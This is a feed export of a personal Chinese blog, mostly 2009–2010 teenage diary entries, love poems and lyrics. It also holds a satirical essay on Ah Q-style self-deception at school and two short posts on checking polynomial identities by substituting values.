一、优胜记略 既然和阿Q“沾亲带故”，他的精神胜利法的继承人也就非我莫属了。这精神胜利法可是个法宝，总能使我在“山重水复疑无路”之时“柳暗花明又一村”。就拿考试来说吧.临进考试了，人家都厉兵秣马，枕戈待旦，惟独我优哉游哉：不就是一次考试吗？那么辛苦干吗？考零分太阳明天不照样从东边升起？你以为脑细胞是累不死的呀？考试试卷发下来了，人家或冥思苦想，或奋笔疾书，惟独我抽纸条做了选择题后便无所事事了；凭我多年的经验，60分选择题得十四五分是十拿九稳的了，而人家考的再好也只有90多分……90分不也是个两位数吗，人生在世有几何，何必苦苦学几何，学了几何又如何？于是，剩下的时间我便找周公给我“指点迷津”了。揉一揉惺忪的睡眼，下考铃也就响了……我这人时间观念挺强吧？成绩公布了，人家看着八九十分一科的成绩眉开眼笑，我面对十几分的试卷也心情愉快；成绩落在人家后面有什么关系？车夫不也总是坐在马后面的吗？爱迪生考试经常吃鸭蛋，可又有哪个哈佛大学的高才生能跟他相比？应试教育已经过时了，现在“摩登”素质教育。你成绩好得意什么？除了分数比我高你哪点比我强？名次没我高，视力没我好，睡眠没我足，甚至连血压都比我低。现在你比我风光，可一出了这校门，嘿嘿，就是“三十年河东，四十年河西”了。到那时，我就是鼎鼎有名的老革命党老Q了；而你呢，就成了人们的笑料孔乙己，偷几本书被人吊着打，还狡辩什么“窃书是读书人的事，不能算偷”，多可怜呀！
二、革命 　阿Q为革命事业以身作则，我做为他的接班人自然也不能落后，我也要以“大无畏的革命精神”革革学校的命！你看这窗户，白晃晃的多碍眼，我给它贴上一张Harry Potter的酷照，靓多了吧？中国的教育自古以来就是老师一字一句地教，学生一字一句的学，太老土了，我也要给它来点创新。于是，“言者哼哼，听者藐藐”，老师在讲台上眉飞色舞地谈鲁迅，冰心，我在下面津津有味地读金庸，琼瑶……他们的作品可比那些大师们的带劲多了，杀就杀得天昏地暗，血肉横飞；爱就爱的轰轰烈烈，缠绵悱恻……“山无陵，江水为竭，冬雷震震，夏雨雪，天地合，乃敢与君绝！”学校不准学生下河塘游泳，那怎么行？现在不多加锻炼，我们将来怎么“勇救落水者”？中国的泳坛谈何发展？于是，“忧国忧民”的我冒着见龙王的危险夏练三伏，“百米池塘横渡，极目楚天舒”。学校要是没个抽烟汹酒的，那还不像菜里不放盐一样没味道吗？作为学校的一员，我有责任为学校的“改革大业”添柴加火。虽然抽烟能引发癌症，汹酒会麻醉大脑，但你想想，“大任当前”，我难道能临阵退缩不成？……结果，我被一次次请进政教处，警告，严重警告，记过，留校察看……逐渐升级的处分伴随着学校鲜红的公章到了我的手中……这官职不也是一级一级升上去的吗？我在梦里都忍不住笑出声来……能不乐吗？你想想，那些“高分低能”者拼命学习一个月，考个好成绩才能得到一份盖有学校公章的奖品，可你看“低分高能”的我，才两星期便得到了学校盖的三个大印，他们能跟咱比吗？
三、大团圆 这结果，自然是欢欢喜喜团团圆圆的……高中还未读满一年，我便“结业”了，校长对我说：“小Q，学校没有能力教你这样的高才生，你回家去吧。”并亲自把我送出了校门。我回望着自己曾轰轰烈烈闹革命的学校，心里自然免不了有些酸楚，但又转念一想：听见了吗？不是我没有能力读，而是“学校没有能力教”，而且连校长都来给我送行了，谁有我这么风光呀！一想到这，我便如同六月天喝了雪水一般。
四、遗嘱 虽然“革命尚未成功”，但是“同志不需努力”了，诸位校园中的小阿Q们，过去的终究过去了，不如忘却了罢,赶快迷途知返，悬崖勒马，让阿Q和小Q的革命道路就此终结了吧。如果“杀一”能够儆百的话，我小Q“死”而无憾矣！</description></item><item><title>见鬼</title><link>https://changkun.de/blog/posts/%E8%A7%81%E9%AC%BC/</link><pubDate>Sun, 25 Apr 2010 01:31:48 +0000</pubDate><guid>https://changkun.de/blog/posts/%E8%A7%81%E9%AC%BC/</guid><description>我时而常想，期盼能再一次的梦见你。因为，我上一次梦见你，你带给了我快乐以欢笑。余今我的希望实现了，我沉默了。我能够想象你看见我那条短信后的想法，可我不敢面对，正如同一个做错事的小孩，面对着一个恼怒的家长。我时时刻刻无法去摆脱，那颗心已被你俘虏。­转身走过一段路程，我开始发疯似的跑，我想追逐，确追逐不到。­你当时一定很恨我，我知道。­于是我只好厚脸皮的再打电话给你。­
我追到你时，我已没有了力气，如此这般，只好席地而坐，哭得声厮力竭。痛彻心痱。­</description></item><item><title>龙崎君</title><link>https://changkun.de/blog/posts/%E9%BE%99%E5%B4%8E%E5%90%9B/</link><pubDate>Sat, 20 Mar 2010 10:03:49 +0000</pubDate><guid>https://changkun.de/blog/posts/%E9%BE%99%E5%B4%8E%E5%90%9B/</guid><description>记得那一年
曾在风中遥望你的容颜
你羞涩的双眼
脉脉的看着我的脸
那丽的瞬间
注定
我要永远陪在你的身边
曾为爱而缠绵
那种感觉
至今萦绕心间</description></item><item><title>Silence</title><link>https://changkun.de/blog/posts/%E7%A6%81%E8%A8%80/</link><pubDate>Mon, 15 Mar 2010 07:53:22 +0000</pubDate><guid>https://changkun.de/blog/posts/%E7%A6%81%E8%A8%80/</guid><description>Take it slow, haste won&amp;rsquo;t cool a hot bowl of tofu. Looking after you is a lifelong thing. There&amp;rsquo;s no rushing it. Take it slow. A sense of responsibility is what drives you forward.
慢慢来， 心急吃不了热豆腐。 照顾你是一辈子的事。 着急是不行的。 慢慢来吧。 责任感， 就是前进的动力。</description></item><item><title>春天来了 一切都还是温暖的</title><link>https://changkun.de/blog/posts/%E6%98%A5%E5%A4%A9%E6%9D%A5%E4%BA%86%E4%B8%80%E5%88%87%E9%83%BD%E8%BF%98%E6%98%AF%E6%B8%A9%E6%9A%96%E7%9A%84/</link><pubDate>Wed, 10 Mar 2010 15:56:48 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%98%A5%E5%A4%A9%E6%9D%A5%E4%BA%86%E4%B8%80%E5%88%87%E9%83%BD%E8%BF%98%E6%98%AF%E6%B8%A9%E6%9A%96%E7%9A%84/</guid><description>如果写作业是为了应付的话，还是不要写了。我这样对自己说。但……如果可以这样推理下去，我为什么还活着呢？因为要为你而活。
无数细小的事件啃噬着装着我们的点滴。
和你一起沉默着。我一点也不觉得无聊。因为爱你。
和你一起聊天。感觉像看某些国产动画片一样不用动脑子，却常常不由自主的笑出声来。还是因为爱你。
你看，头发剪短了之后，还可以长长啊。
最终，
我只是无聊。写点东西罢了。</description></item><item><title>狗屁二三事</title><link>https://changkun.de/blog/posts/%E7%8B%97%E5%B1%81%E4%BA%8C%E4%B8%89%E4%BA%8B/</link><pubDate>Fri, 05 Mar 2010 00:40:02 +0000</pubDate><guid>https://changkun.de/blog/posts/%E7%8B%97%E5%B1%81%E4%BA%8C%E4%B8%89%E4%BA%8B/</guid><description>我总是很悲观，正如现在，我又能够走进这空间，无耻的写着只有几个人会看的日志，仿佛总能释怀什么，确不能尽人意。 在这上面我感到写它更是一种精神上的寄托，能使我如释重负，不得不否认，这里有点想让你看见的意思，你应该知道的。我总希望能你能了解我的内心活动，比如现在。不失所望，你很聪明。 我是一个名副其实的空想主义者，什么事儿脑子里总能很周全，而现实的悲剧我确说不上什么。我总能把美好的事情搞砸，这点很戏剧化，我总是完美的搞砸任何事，我很佩服我自己。不是吗？ 或许可能我本不属于这个世界，我更适合生活在这个网络世界里，如现在所看到的。现实就是如此，当我来到电脑旁，我就仿佛和外界脱离了联系，直到父母的电话叫醒我，才回过神来，原来，一天过去了。 “你总能给别人带来好运，而自己什么也得不到”这句话很悉利，它能左右我的思维，让我按它的方式进行着。就如同预言一样，原本2012根本带不来任何东西，而真正的灾难在于背后的炒作者，我能想的起来：未来就是如此，一旦你预见了它，那么一切都改变了。这话很对，你预见了末日，试图改变他，当无能为力的时候，你制造了末日。我很不会说话，特别是对你来说，经常惹你生气。不可避免的，我内咎，我没有认何惹你生气的意思。你也知道我的想法，可是人就是这样，因为在意，因为在乎。就是如此。 从你进入了我的世界，一切都变了。我变得无知了，我变得多疑了，我变得越来越烧饼了。就这样。 我一直在为你改变，只是我不善言辞，我正在努力。我会为你背叛一切，就这样。老鼠先生说，你会几种语言？有人说，两种。而老鼠先生说，我只用会一种，1001011011…会了它我可以知道任何事实，比如你的性生活，日程安排，比如我能用他修改股票的走势，影响世界经济，比如说我能够击溃因特网，可我不会这么做，因为我靠的是他。 很好，我想我写累了，也写够了，我释怀了，我不写了。但我并没有说清任何事，说的完全是一堆废话，正如标题说的。</description></item><item><title>黑白世</title><link>https://changkun.de/blog/posts/%E9%BB%91%E7%99%BD%E4%B8%96/</link><pubDate>Mon, 01 Mar 2010 04:40:44 +0000</pubDate><guid>https://changkun.de/blog/posts/%E9%BB%91%E7%99%BD%E4%B8%96/</guid><description>沧海如澜，冰雪消融，云淡风轻，浮沉若梦。悲欢肝胆，苍天回应，把酒当歌，何时醒。是非搏一场，举世清宁，月缺月又圆，心明镜。铁血烟云，恍然去远，爱与恨，钟鼓，分明。
敢问世人，一生热血为谁涌。暮雨落花，笑谈往事任人相诵。天地人间，金戈铁马，一叹醉蹉跎。笑忘红尘千秋，志犹在，情如歌。话别了，风云成败，是非对错，这一生执着。
黑与白，看分明。活得自在洒脱。</description></item><item><title>再谈例证法</title><link>https://changkun.de/blog/posts/%E5%86%8D%E8%B0%88%E4%BE%8B%E8%AF%81%E6%B3%95/</link><pubDate>Fri, 26 Feb 2010 05:01:01 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%86%8D%E8%B0%88%E4%BE%8B%E8%AF%81%E6%B3%95/</guid><description>依据零点定理,我们容易得到以下推论: 设函数f (x) 在D 上有定义,在其定义区间 I 上连续. (i) 若f (x) 在I 上没有零点, f ( x) 在 I 上恒正或恒负; (ii) 若f (x) 在I 上的所有零点依次为x1 &amp;lt; x2 &amp;lt; ⋯ &amp;lt; xn ,这n 个零点把区间I 分为若干个小区间, 则在每个小区间上f ( x) 恒正或恒负. 这个推论告诉我们,对于(ii) (i 是ii 特殊情况) 中的每个小区间内的一切x 值, f ( x) 恒大于零或恒 小于零,即f ( x) &amp;gt; 0 或f ( x) &amp;lt; 0 ,从而判断f ( x) 在每个小区间上的符号只需在该区间上选择某一特殊 点. 计算该特殊点处的函数值即可,这体现了“例证法”的思想.</description></item><item><title>例证法</title><link>https://changkun.de/blog/posts/%E4%BE%8B%E8%AF%81%E6%B3%95/</link><pubDate>Thu, 25 Feb 2010 07:20:20 +0000</pubDate><guid>https://changkun.de/blog/posts/%E4%BE%8B%E8%AF%81%E6%B3%95/</guid><description>试证明：(x+1)(x-1)=x^2-1。
证明：令x=1代入原式，发现等式成立。 令x=2代入原式，发现等式成立。 令x=3代入原式，发现等式成立。 所以原式恒成立。
原由：分析一下原等式，发现x的最高次是2次。
根据代数基本定理，这个式子如果不是恒等式就有两个根。
现在我们举了3个例子，即便前两个正好就是两个根，
那么第三个数代进去又成立了，就说明原式是恒等式了！
其实，只要代一个数也可以，要保证这个数不是原方程的根就可以了，
这个数应该足够大，例如上题取x=10就行。至于“足够大”的条件，还是挺麻烦的。
还可以把它推广，如果有多个未知数，
例如想要证明(x^2+y)(x^2-y)=x^4-y^2，我们只要把x附5个值，y 附3个值，一共代15组数进去验证就可以了。
这个题也可以取一组数进行验证，(10,10000)就行。</description></item><item><title>又见夏洛克</title><link>https://changkun.de/blog/posts/%E5%8F%88%E8%A7%81%E5%A4%8F%E6%B4%9B%E5%85%8B/</link><pubDate>Tue, 23 Feb 2010 15:53:22 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%8F%88%E8%A7%81%E5%A4%8F%E6%B4%9B%E5%85%8B/</guid><description>诚然，
还记得那句：
在平淡无奇的生活纠葛里，谋杀案就像一条红线一样，贯穿在中间。我们的责任就是要去揭露它，把它从生活中清理出来，彻底地加以暴露。
更记得：
一个为艺术而艺术的人，常常从最不重要和最平凡的形象中获得最大的乐趣。
漫步大街，看着串流的人群，幻想着凶案的发生，亲身破案的白日梦又再重演。
今日的翻箱倒柜，我看见了那本陈旧的，被我翻过数十遍的《探案集》。
不禁又让我坐了下来，细细品读。
那些熟悉的文字，那些耳熟能详的记忆片段，慢慢的又清晰了起来。
福尔摩斯作为一个人格来研究其实是蛮有趣的。
整个故事中，夏洛克简直如机器一样精确冷酷，一点点似有若无的温情使他的个性变的更复杂。这也是我认为他有原型的主要原因。很多福尔摩斯专家认为他对女性的排斥很可能来自于他幼年和母亲的不愉快。
当然这种把心理问题都归罪于年幼时与父母之间的问题，是弗洛伊德的典型论调，我并不是很喜欢……不过，值得注意的是麦可罗夫特也在与人交流和异性关系上存在很严重的问题，所以这种心理问题可能的确和他们两个所共有的历史有关－也就是幼年时期的家庭问题。
一个很极端又富于戏剧化的解释认为夏洛克的母亲因为有外遇而被夏洛克的父亲杀死，而后者因为种种原因而没有受到应有的制裁。所以夏洛克终生讨厌女性，对警察毫无好感，坚持自己的“正义”标准。他所进行的“咨询侦探”几次在警察之前找到凶手，自己扮演法官的角色对后者进行“正义”的审判。
福尔摩斯只是道尔爵士笔下的人物，1891年5月4日与莫里亚蒂教授一起掉入山谷死亡。
原因是柯南·道尔厌倦此角色，刻意安排。
这样安排的确不错，却不免有些遗憾。
风华正茂，书生意气。
十九实际的杰出侦探和杰出的罪犯就这样死了。
不免令时代有些悲哀。
尽管夏洛克最后还是活了过来，莫里亚蒂却死了。
无奈的我又想起了一首歌，还是按我的风格，以一首歌来结束这篇日志……
夜的第七章 - 周杰伦
1983年小巷 12月晴朗 夜的第七章 打字机继续推向接近 事实的那下一行 石楠烟斗的雾 飘向枯萎的树 树沉默的对我哭诉 贝克街旁的圆形广场 盔甲骑士臂上 鵺尾花的徽章 微亮 无人马车声响 深夜的拜访 邪恶在维多利亚的月光下 血色的开场 消失的手枪 焦黑的手杖 融化的蜡像 谁不在场 珠宝箱上 符号的假象 矛盾通往他堆砌的死巷 证据被完美埋葬 那嘲弄苏格兰警场 的嘴角上扬 如果邪恶 是华丽残酷的乐章（那么正义 是深沉无奈的惆怅） 它的终场 我会 亲手写上（那我就点亮 在灰烬中的微光） 晨曦的光 风干最后一道忧伤（那么雨滴 会洗净黑暗的高墙） 黑色的墨 染上安详（散场灯关上 红色的布幕下降） Rap:散场灯关上 红色的布幕下降
事实只能穿向 没有脚印的土壤 突兀的细微花香 刻意现眼的服装 每个人为不同的理由带着面具说慌 动机也只有一种名字那叫做欲望 far farther farther far far （far~） far farther farther far far 越过人心的沼泽 谁真的可以不被弄脏(ti far~) 我们可以 遗忘 原谅 但必须知道真相（far~) 被移动过的铁床 那最后一块图终于拼上(ti far~)</description></item><item><title>Speechless</title><link>https://changkun.de/blog/posts/%E6%97%A0%E8%A8%80/</link><pubDate>Wed, 17 Feb 2010 08:42:23 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%97%A0%E8%A8%80/</guid><description>Indeed, speechless.
确实无言。</description></item><item><title>牢不可破的誓言</title><link>https://changkun.de/blog/posts/%E7%89%A2%E4%B8%8D%E5%8F%AF%E7%A0%B4%E7%9A%84%E8%AA%93%E8%A8%80/</link><pubDate>Fri, 12 Feb 2010 18:59:28 +0000</pubDate><guid>https://changkun.de/blog/posts/%E7%89%A2%E4%B8%8D%E5%8F%AF%E7%A0%B4%E7%9A%84%E8%AA%93%E8%A8%80/</guid><description>我会记得，你曾经向我要过两个誓言，我需要答应，并且无条件服从。没错，我既然答应，一定做到。­
誓言一：“答应我，你要快乐，无论何时。”“嗯，我答应你。”­
誓言二：“答应我，决不离开我，不抛弃我，永远。”“好，我答应你！”­
为你付出一切也要做到，情人节立誓，天地鉴！Eu.­</description></item><item><title>丢失的情人节</title><link>https://changkun.de/blog/posts/%E4%B8%A2%E5%A4%B1%E7%9A%84%E6%83%85%E4%BA%BA%E8%8A%82/</link><pubDate>Fri, 12 Feb 2010 17:26:27 +0000</pubDate><guid>https://changkun.de/blog/posts/%E4%B8%A2%E5%A4%B1%E7%9A%84%E6%83%85%E4%BA%BA%E8%8A%82/</guid><description>或许算命先生说的没错，所有和我有过交道的人都踩着我往上爬，我却一点也没长进。 是我心太好了？阔绰？还是？不，不不，不不不… 冷静，我需要冷静，事实是你我是相爱的，不要考虑其它人，我们两个人之间缺乏的就是彼此的信任，不是吗？冷静，要冷静… 对，没错，信任才能的到真爱。 我在你面前犯的错太多了，不该再错下去了。不然纵然是上帝也原谅不了我，我会自毁一切的。好吧，整理一会儿头绪。 问：我哪有毛病？答：心。问：问题出在哪？答：我缺乏对爱情的信任。问：该信任什么？答：她是爱我的，不能多疑。问：是这样吗？答：没错，我已经在这栽了很多次了。不能再栽了。问：你是不是觉得这有点像《坏孩子》里：“等到我相信了全部，你又说你爱上他”这句歌词？答：够了！我拒绝回答你的问题！你这是在挑衅我和她之间的感情！我已经冷静下来了，不需要你在这里煽风点火，你可以回我的心里去了！不送！最后一个问题：你们之间会长久吗？答：滚！你他妈给我滚！刚才没听见我说的话吗？我和她，会很好，用不着您来为我和她来操心！快给我滚回我心里去！问：得了吧，你连吻都不敢吻她还谈什么爱她？答：记着，我会给她最好的吻，如果做不到，我也不配做她男朋友！你给我见证好了！问：很好，有你这句话我可以睡个安稳觉了，但愿你表现不错，Good luck！
静。 好了，折腾够了，他终于走了。 又出来一个！油：嘿，该做点儿什么，事情就这么结束了？答：不，还没有。我虽然找到问题的所在，可还没解决问题。油：有何打算？答：我想我已经想好了。油：说说看？答：不，暂时还不能说。不过我能给你个提示，还记得那两个誓言吗？油：我明白了！ 帕：好吧，我是第三个你，叫我出来有什么事？答：只剩方案了，拿出来吧。帕：哼，你已经失败四次了，我的方案就这么难？别叫我了。答：等等，实施方面是我的错误，和方案无关。帕：哼！
又静。 好了，我的问题找到了，我自己解决了，很愉快，谢谢亲爱的你帮忙，信你能懂。最后祝你新年玩的开心。 爱你的，Eu。</description></item><item><title>Chase</title><link>https://changkun.de/blog/posts/%E8%BF%BD%E9%80%90/</link><pubDate>Fri, 12 Feb 2010 11:43:32 +0000</pubDate><guid>https://changkun.de/blog/posts/%E8%BF%BD%E9%80%90/</guid><description>Just three minutes apart, and yet I couldn&amp;rsquo;t catch up. I wanted to say something, but couldn&amp;rsquo;t find the moment. Pathetic? I suppose so.
仅是三分钟的离别，我却追不上你。想说一些话，确抓不住机会。窝囊？我想是的。</description></item><item><title>The So-Called Language</title><link>https://changkun.de/blog/posts/%E6%89%80%E8%B0%93%E8%AF%AD%E8%A8%80/</link><pubDate>Fri, 12 Feb 2010 05:03:03 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%89%80%E8%B0%93%E8%AF%AD%E8%A8%80/</guid><description>There are many languages in this world.
If I could master one fluently, I think I could do anything.
This language is made of two basic units: 0 and 1.
With it, I could know everything.
这个世界上有很多种语言，
若是能熟练一种，我想我能够做任何事情。
这种语言由两个基本单位构成：0，1
有了它，我能够知道任何事情。</description></item><item><title>风雪二月</title><link>https://changkun.de/blog/posts/%E9%A3%8E%E9%9B%AA%E4%BA%8C%E6%9C%88/</link><pubDate>Sun, 07 Feb 2010 12:03:02 +0000</pubDate><guid>https://changkun.de/blog/posts/%E9%A3%8E%E9%9B%AA%E4%BA%8C%E6%9C%88/</guid><description>烟火过境，
风雪来临。
然等意境？
不知所云。</description></item><item><title>Late Night</title><link>https://changkun.de/blog/posts/%E6%B7%B1%E5%A4%9C/</link><pubDate>Fri, 05 Feb 2010 17:08:09 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%B7%B1%E5%A4%9C/</guid><description>Alone, staring blankly at my phone, my mind full of you. When I&amp;rsquo;m by myself, the thing I fear most is thinking of you. Are you thinking of me? Or have you fallen asleep? Did you dream of me?
独自一人对着手机发呆，满脑子想的全是你。一个人的时候，最怕的就是想你，你在想我吗？或者，你睡了吗？梦见我了吗？</description></item><item><title>Fireworks Passing Through</title><link>https://changkun.de/blog/posts/%E7%83%9F%E7%81%AB%E8%BF%87%E5%A2%83/</link><pubDate>Thu, 04 Feb 2010 13:33:33 +0000</pubDate><guid>https://changkun.de/blog/posts/%E7%83%9F%E7%81%AB%E8%BF%87%E5%A2%83/</guid><description>　I. Before — anticipation.
　Silence.
　II. During — beauty.
　Din.
　III. After — savoring.
　Reflection.
　一、境前，是期盼。
　静。
　二、境时，是美丽。
　喧。
　三、境后，是回味。
　思。</description></item><item><title>无题</title><link>https://changkun.de/blog/posts/%E6%97%A0%E9%A2%98/</link><pubDate>Fri, 29 Jan 2010 06:13:23 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%97%A0%E9%A2%98/</guid><description>我若能说万人的方言，并天使的话语，却没有爱，我就成了鸣的锣、响的钹一般。我若有先知讲道之能，也明白各样的奥秘，各样的知识，而且有全备的信，叫我能够移山，却没有爱，我就算不得什么。我若将所有的周济穷人，又舍己叫人焚烧，却没有爱，仍然与我无益。爱是恒久忍耐，又有恩慈；爱不是嫉妒，爱是不自夸，不张狂，不做害羞的事，不求自己的益处，不轻易发怒，不计算人的恶，不喜欢不义，只喜欢真理；凡事包容，凡事相信，凡事忍耐，爱是永不止息……如今常存的有信，有望，有爱；这三样，其中最大的是爱。</description></item><item><title>The So-Called Love</title><link>https://changkun.de/blog/posts/%E6%89%80%E8%B0%93%E7%88%B1%E6%83%85/</link><pubDate>Tue, 26 Jan 2010 15:55:00 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%89%80%E8%B0%93%E7%88%B1%E6%83%85/</guid><description>Love is like two people pulling at a rubber band — the one least willing to let go is the one who gets hurt the most.
爱情，就好比两个人在扯橡皮筋，最不愿意放手的，就是受伤最痛的。</description></item><item><title>On my way。</title><link>https://changkun.de/blog/posts/on-my-way/</link><pubDate>Sun, 24 Jan 2010 06:37:01 +0000</pubDate><guid>https://changkun.de/blog/posts/on-my-way/</guid><description>序 　的确，很长时间我没有认真再写过日志。今天，看来不得不说了。
　一直都是我傻，最初的目的，何尝不是这样？初来乍到，为曾想过会留在长外，但是，还是决定了，留在长外，留在Ｋ０９１。
　但是，当我真正想留在长外的时候，现实确老是折腾我。
Ｏne.　一个人的旅途。 　夕阳如血，彼岸花开得妖艳，当美景都重叠，视线丢了焦点。车窗外面，泥土清香沁入心田，情绪一点一点沉淀。
　黄昏骤雨过后，濛濛的水边，有蓝色的蝴蝶，画翩翩的弧线。多么缠绵，酝酿着的诺言，保存期又有几年？
Two.　转战。 　默默彳亍着，总是感觉到背后有人跟着我，回头望却，空空如也。
　这几天一直都是在想，为何会这样？
　为什么我留不下来？
　当我知道全部的真相，傻了，确实傻了，我就他娘的一煞笔！
　陈老师啊，陈老师，您确实很厉害，直到最后告别一刻，您都装的那么的不动声色，直到最后告别的一刻，您都显得那么的淡定。
　确实佩服，确实值得我学习。
　亏我还一向敬重您。
　虚伪！
Ｔhree.　永恒。 　敬爱的同学们，我真的走了，我会记得你们，我会永远记得陪伴我走过半年的Ｋ０９１。
　不要问我从哪里来。
　我的故乡在远方。
　不要问我为什么走。
　答案就在辉煌间。
　感谢一路支持的同学们，我很感动，我很伤心，我很快乐，我很留恋，我很愤慨，我无话可说。
Ｆour.　Ｏn my way。 　或许我会在你们还在上课的时候突然出现，
　也许你们会在我上课的时候突然现身，
　我的路，会走下去。
　如果有缘，不久，就一定会再见到你们。
　这里，并不是句号，并不是终点，而是等分点。
　剩下的路还长着，不要在留恋我，把它当作一种记忆来保存，慢慢忘却。
　也是挺不错的。
　我是一种悲剧，
　无药可救的悲剧，
　请你们不要回忆，
　我想你决不会回忆，</description></item><item><title>电影「2012」影评</title><link>https://changkun.de/blog/posts/%E7%94%B5%E5%BD%B12012%E5%BD%B1%E8%AF%84/</link><pubDate>Fri, 20 Nov 2009 14:31:31 +0000</pubDate><guid>https://changkun.de/blog/posts/%E7%94%B5%E5%BD%B12012%E5%BD%B1%E8%AF%84/</guid><description>世界、自然、未来、梦想、思考、命运、探索……
2300多年前的一个夜晚，亚里士多德曾站在地中海边仰望星空长问；我们为何在此？我们从何而来？
玛雅人曾预言:“人类世界的终结将会是2012年12月22日。
我说这些，反映了人类有史以来的心理状况几乎没有改变，我们会思考，会不停的探索……迷失、虚空、死亡加速人类对自身的思考，战争、灾难、神秘事件放大人类对世界的探索……
现在是一个特殊的时代，我们出生在这个时代是幸运的，我们与科技为伴，我们现在有的，是人类一直以来思考和探索的成果……
人类在科学上进步而道义上落后，不是前进，而是后退……
人类世界和人的心灵是对应的，
人生最终价值在于觉醒、思考、探索、创造， 而不只在于生存和制造。
这就是我要说的，也是我想说的。</description></item><item><title>永远不要问我为什么！</title><link>https://changkun.de/blog/posts/%E6%B0%B8%E8%BF%9C%E4%B8%8D%E8%A6%81%E9%97%AE%E6%88%91%E4%B8%BA%E4%BB%80%E4%B9%88/</link><pubDate>Sun, 08 Nov 2009 11:13:40 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%B0%B8%E8%BF%9C%E4%B8%8D%E8%A6%81%E9%97%AE%E6%88%91%E4%B8%BA%E4%BB%80%E4%B9%88/</guid><description>不要问我为什么！
我恨它！
不要问我干嘛恨！
Need Not To Know！
很久没写日志了！
别问我为什么！
我没空给你们解释那么多！
我了个草！
你们TMD都不会自己想问题！？
MLGB的。
老子到长沙还是第一次这么生气！
老子算改得好得了！
要是依我小学，初中的脾气！
哼哼！
算了！不写了！
妈的。
都离我远点！</description></item><item><title>得与失</title><link>https://changkun.de/blog/posts/%E5%BE%97%E4%B8%8E%E5%A4%B1/</link><pubDate>Thu, 15 Oct 2009 06:58:58 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%BE%97%E4%B8%8E%E5%A4%B1/</guid><description>我以为 得到了十六岁
其实冷不防 失去了十五岁
难以抗拒的顺流而下
我羡慕 并向往
下游的水天一色 百舸争流
可逆流而上却如此之难
难得将与上游的激流勇荡
永远作别
当我失去所有
得到的只是最后时
恳请时光倒流
向昨天寄一封信
盖上明天的邮戳</description></item><item><title>一阵风 一场梦</title><link>https://changkun.de/blog/posts/%E4%B8%80%E9%98%B5%E9%A3%8E%E4%B8%80%E5%9C%BA%E6%A2%A6/</link><pubDate>Tue, 06 Oct 2009 17:23:48 +0000</pubDate><guid>https://changkun.de/blog/posts/%E4%B8%80%E9%98%B5%E9%A3%8E%E4%B8%80%E5%9C%BA%E6%A2%A6/</guid><description>心底在哭泣
面庞却虚假的装着那本不该有的微笑
真想找个人倾述一切
真想在这朦胧夜色静静睡却
无声的哭泣却掩盖了所有
趴在电脑前写着日志
泪滴缓缓留下
闭上眼睛抑制泪水
看到的却是以前的回忆
停止
停止
赶快给我停止
过去了
一切都过去了
看不穿 是你失落的魂魄 猜不透 是你瞳孔的颜色 一阵风 一场梦 爱如生命般莫测 你的心到底被什么蛊惑
你的轮廓在黑夜之中淹没 看桃花开出怎样的结果 看着你抱着我 目光似月色寂寞 就让你在别人怀里快乐
……
End.</description></item><item><title>我将记得你</title><link>https://changkun.de/blog/posts/%E6%88%91%E5%B0%86%E8%AE%B0%E5%BE%97%E4%BD%A0/</link><pubDate>Fri, 02 Oct 2009 13:30:30 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%88%91%E5%B0%86%E8%AE%B0%E5%BE%97%E4%BD%A0/</guid><description>你喜欢看电影么。 喜欢。
你认为电影是你。还是你是电影呢。 电影里有我的生活。而我从不是电影里的人物。
那么生活呢。 生活有太多禁锢和变故。让人苍老。
你老了么。你现在还那么年轻。 对不起。我对年轻这个词语过敏。
难道不是么。 我的眼睛周围开始出现皱纹。眼睛率先苍老。皮肤也瞬间跟着脆弱下去。
你害怕它的快速消失么。 怕。却是无能为力的。我终于要老。并且飞快。
你在逃避？ 是。对于一些陌生人无法再做到轻易的去相信。
是什么让你害怕呢。 一些往事。一些对白。终于是成为了习惯再也忘不掉。
那么。你想怎么办呢。 请别问我这样的问题。因为我自己也不知道。
应该看开。一切都应该是要看自己的。不是么。 是。我站在风口浪尖。迟疑着步伐。其实我不愿意在等待一切过去。如果我能做到适当时候抽身离开。而事实上。我始终做不到。因此始终无法看开。
那么现在呢。你预备怎么样去面对你的伤口。 不想看不想说不想问。它好不好。我只知道它还在。
你这样让我心疼。 你这样说让我想起他（她）。
他（她）是谁。 一个朋友。第一次对我说的话就是说他不知道怎么来心疼我。
其实你很相信别人。不是么。并且会因为一些话而记得对方。 曾有一个人说我很多疑。我一直在想是不是。直到有一天。某个人说。你太容易相信别人也太害怕被欺骗。因此产生了一种介于相信和害怕付出相信的感情。
很难懂。我似乎不懂。 无须你懂。不是么。这些都与你无关的。
你喜欢独立思考？ 关于精神上。我不想依赖任何人。而生活。却逃不掉的要依赖。
为什么会这样呢。 我似乎站在岸的一边看另一边。随着笑而笑。随着哭而哭。这是最安全的一种防卫。我得不到实质的伤害。也得不到真实的情谊。恐惧后果因此勉强让自己把欲望割舍。成为独立的孤岛。说实话。我一直都恐惧。只是不想受伤害。这样的想法很矛盾。我无法说清楚。
我似乎懂了。又似乎不懂。 没关系。我在追一种感觉。虽然知道那是白费力气。
时常难过对你和周围会造成负担么。 我不清楚。有太多的时间我把眼泪变成微笑的眼睛。你问我好不好。我说好。我不清楚你看不看穿我的心。是哭还是笑。逐年失望吧。这些猜测对我毫无意义。
对不起。我要走了。 没关系。再见。
你确定我们不能再见面。所以才对我说再见的么。 或许是。我想一次漫长的交谈就足够。
我将记得你。 我很高兴。
End&amp;hellip;</description></item><item><title>人事已非</title><link>https://changkun.de/blog/posts/%E4%BA%BA%E4%BA%8B%E5%B7%B2%E9%9D%9E/</link><pubDate>Sun, 20 Sep 2009 04:39:39 +0000</pubDate><guid>https://changkun.de/blog/posts/%E4%BA%BA%E4%BA%8B%E5%B7%B2%E9%9D%9E/</guid><description>或许事实就是如此，
或许现实就是这样。
或许人间总是太苦，
或许悲剧总在上演。
听着歌，
想着说。
看着书，
说着看。
人间真情还是太稀少，
谎言掩盖了世间万物。
独自听着那忧伤歌声，
终于明白了所有一切。
莫非这就是命运？
不。
真实的一切是虚无，
